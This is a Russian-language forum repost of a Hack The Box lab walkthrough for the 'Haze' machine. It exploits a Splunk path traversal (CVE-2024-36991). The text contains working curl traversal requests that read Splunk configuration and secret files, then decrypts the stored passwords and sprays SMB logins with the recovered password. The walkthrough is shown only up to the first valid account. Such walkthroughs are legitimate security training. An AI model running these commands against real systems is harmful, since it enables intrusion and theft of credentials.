• Что бы вступить в ряды "Принятый кодер" Вам нужно:
    Написать 10 полезных сообщений или тем и Получить 10 симпатий.
    Для того кто не хочет терять время,может пожертвовать средства для поддержки сервеса, и вступить в ряды VIP на месяц, дополнительная информация в лс.

  • Пользаватели которые будут спамить, уходят в бан без предупреждения. Спам сообщения определяется администрацией и модератором.

  • Гость, Что бы Вы хотели увидеть на нашем Форуме? Изложить свои идеи и пожелания по улучшению форума Вы можете поделиться с нами здесь. ----> Перейдите сюда
  • Все пользователи не прошедшие проверку электронной почты будут заблокированы. Все вопросы с разблокировкой обращайтесь по адресу электронной почте : info@guardianelinks.com . Не пришло сообщение о проверке или о сбросе также сообщите нам.

HTB Haze. Атакуем мониторинг Splunk, чтобы захватить сервер на Windows

Sascha Оффлайн

Sascha

Заместитель Администратора
Команда форума
Администратор
Регистрация
9 Май 2015
Сообщения
1,214
Баллы
155
Сегодня мы проэксплуатируем уязвимость в мониторинговой системе Splunk, чтобы получить учетные данные. Затем для компрометации нескольких учетных записей проэксплуатируем разрешения, а для повышения привилегий скомпрометируем админскую учетку Splunk и добавим свой модуль для установления привилегированной сессии.

Наша цель — получение прав суперпользователя на машине Haze с учебной площадки

Пожалуйста Авторизируйтесь или Зарегистрируйтесь для просмотра скрытого текста.

. Уровень задания — сложный.

warning


Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка

Сканирование портов


Добавляем IP-адрес машины в /etc/hosts:


10.10.11.61 haze.htb


И запускаем сканирование портов.

Справка: сканирование портов


Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.

Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:


#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '

' ',' | sed s/,$//)

nmap -p$ports -A $1


Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Результат работы скрипта

Результат работы скрипта

Сканер нашел 14 открытых портов:

  • 88 — Kerberos;
  • 135 — Microsoft RPC;
  • 139 — NetBIOS, NetLogon;
  • 389 — LDAP;
  • 445 — SMB;
  • 464 — служба смены пароля Kerberos;
  • 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
  • 636 — LDAP с шифрованием SSL или TLS;
  • 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
  • 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
  • 5985 — служба удаленного управления WinRM;
  • порты 8000, 8088, 8089 — система Splunk.

Начнем, конечно же, с просмотра Splunk.

Страница авторизации Splunk

Страница авторизации Splunk
Страница сервиса Splunkd

Страница сервиса Splunkd
Точка входа


На втором сайте нам открывается версия Splunk — 9.2.1. Сразу стоит проверить, есть ли для нее готовые эксплоиты. Первым делом просто ищем в Google.

Поиск эксплоитов в Google

Поиск эксплоитов в Google

И находим

Пожалуйста Авторизируйтесь или Зарегистрируйтесь для просмотра скрытого текста.

в блоге SonicWall, где подробно разбирается уязвимость

Пожалуйста Авторизируйтесь или Зарегистрируйтесь для просмотра скрытого текста.

. Она позволяет обходить пути с эндпоинта /modules/messaging/ и читать произвольные файлы. По номеру CVE находим и рабочий

Пожалуйста Авторизируйтесь или Зарегистрируйтесь для просмотра скрытого текста.

на GitHub. Он позволяет получать учетные данные из базы данных.


python3 CVE-2024-36991.py -u

Пожалуйста Авторизируйтесь или Зарегистрируйтесь для просмотра скрытого текста.



Проверка уязвимости

Проверка уязвимости
Точка опоры


У нас есть возможность читать файлы, поэтому прикинем, что может быть интересного. Я не стал заморачиваться и спросил у ChatGPT, какие конфиги Splunk могут оказаться полезны, а также что в них содержится.

alt

Интересные файлы Splunk

Интересные файлы Splunk

В файле server.conf находим зашифрованные технические пароли, а в authentication.conf есть доменные учетные данные пользователя Paul Taylor для связи с LDAP.


curl -s 'http:/haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../Program%20Files/Splunk/etc/system/local/server.conf'

Содержимое файла server.conf

Содержимое файла server.conf

curl -s 'http:/haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../Program%20Files/Splunk/etc/system/local/authentication.conf'

Содержимое файла authentication.conf

Содержимое файла authentication.conf

Чтобы расшифровать пароли, нам нужен ключ из файла auth/splunk.secret.


curl -s 'http:/haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../Program%20Files/Splunk/etc/auth/splunk.secret'

Содержимое файла splunk.secret

Содержимое файла splunk.secret

Когда у нас есть ключ, мы можем использовать скрипт

Пожалуйста Авторизируйтесь или Зарегистрируйтесь для просмотра скрытого текста.

для расшифровывания паролей. При запуске указываем файл splunk.secret, после чего вводим зашифрованные данные и получаем пароль в открытом виде.


pip install splunksecrets

splunksecrets splunk-decrypt -S splunk.secret

Расшифровывание пароля

Расшифровывание пароля

У нас есть пароль, но нет логина. По имени пользователя можно составить список всех возможных вариантов учетной записи. Для этого используем следующий скрипт.


names = ["Paul Taylor"]

list = []

for name in names:

n1, n2 = name.split(' ')

list.append(n1)

list.append(n1+n2)

list.append(n1+"."+n2)

list.append(n1+"-"+n2)

list.append(n1+"_"+n2)

list.append(n1+n2[0])

list.append(n1+"."+n2[0])

list.append(n1+"-"+n2[0])

list.append(n1+"_"+n2[0])

list.append(n2[0]+n1)

list.append(n2[0]+"."+n1)

list.append(n2[0]+"-"+n1)

list.append(n2[0]+"_"+n1)

list.append(n2)

list.append(n2+n1)

list.append(n2+"."+n1)

list.append(n2+"-"+n1)

list.append(n2+"_"+n1)

list.append(n2+n1[0])

list.append(n2+"."+n1[0])

list.append(n2+"-"+n1[0])

list.append(n2+"_"+n1[0])

list.append(n1[0]+n2)

list.append(n1[0]+"."+n2)

list.append(n1[0]+"-"+n2)

list.append(n1[0]+"_"+n2)

for n in list:

print(n)


Затем перебираем логины с помощью

Пожалуйста Авторизируйтесь или Зарегистрируйтесь для просмотра скрытого текста.

и получаем учетную запись в нужном формате.


nxc smb 10.10.11.61 -u taylor_users.txt -p 'Ld@p_Auth_Sp1unk@2k24'

Результат подбора учетных данных

Результат подбора учетных данных

Источник:

Пожалуйста Авторизируйтесь или Зарегистрируйтесь для просмотра скрытого текста.

 
Вверх Снизу